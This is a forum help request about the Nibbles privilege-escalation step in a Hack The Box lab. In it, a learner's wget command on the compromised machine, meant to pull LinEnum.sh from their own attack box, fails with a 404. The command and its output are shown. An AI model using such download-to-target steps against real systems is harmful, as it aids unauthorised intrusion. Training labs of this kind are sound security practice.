Nibbler PrivEsc - Problems getting to LinEnum

Hi everyone,
I’m having trouble getting LinEnum.sh to work on pwnbox. The error I’m currently facing, even though I’m following HTB exactly, LinEnum doesn’t seem to be on pwnbox

The command I sent to the compromised Nibbles machine:
wget http://:8080/LinEnum.sh

The Response:
wget http://:8080/LinEnum.sh
–2024-12-10 08:35:36-- http://:8080/LinEnum.sh
Connecting to :8080… connected.
HTTP request sent, awaiting response… 404 File not found
2024-12-10 08:35:36 ERROR 404: File not found.

This has been a problem for about a week now. I’ve tried looking into manually downloading LinEnum to the pwnbox, but no luck. Any advice on what I’m missing (because I know I’m probably missing something right in front of me lol) would be amazing. Thanks, everyone!
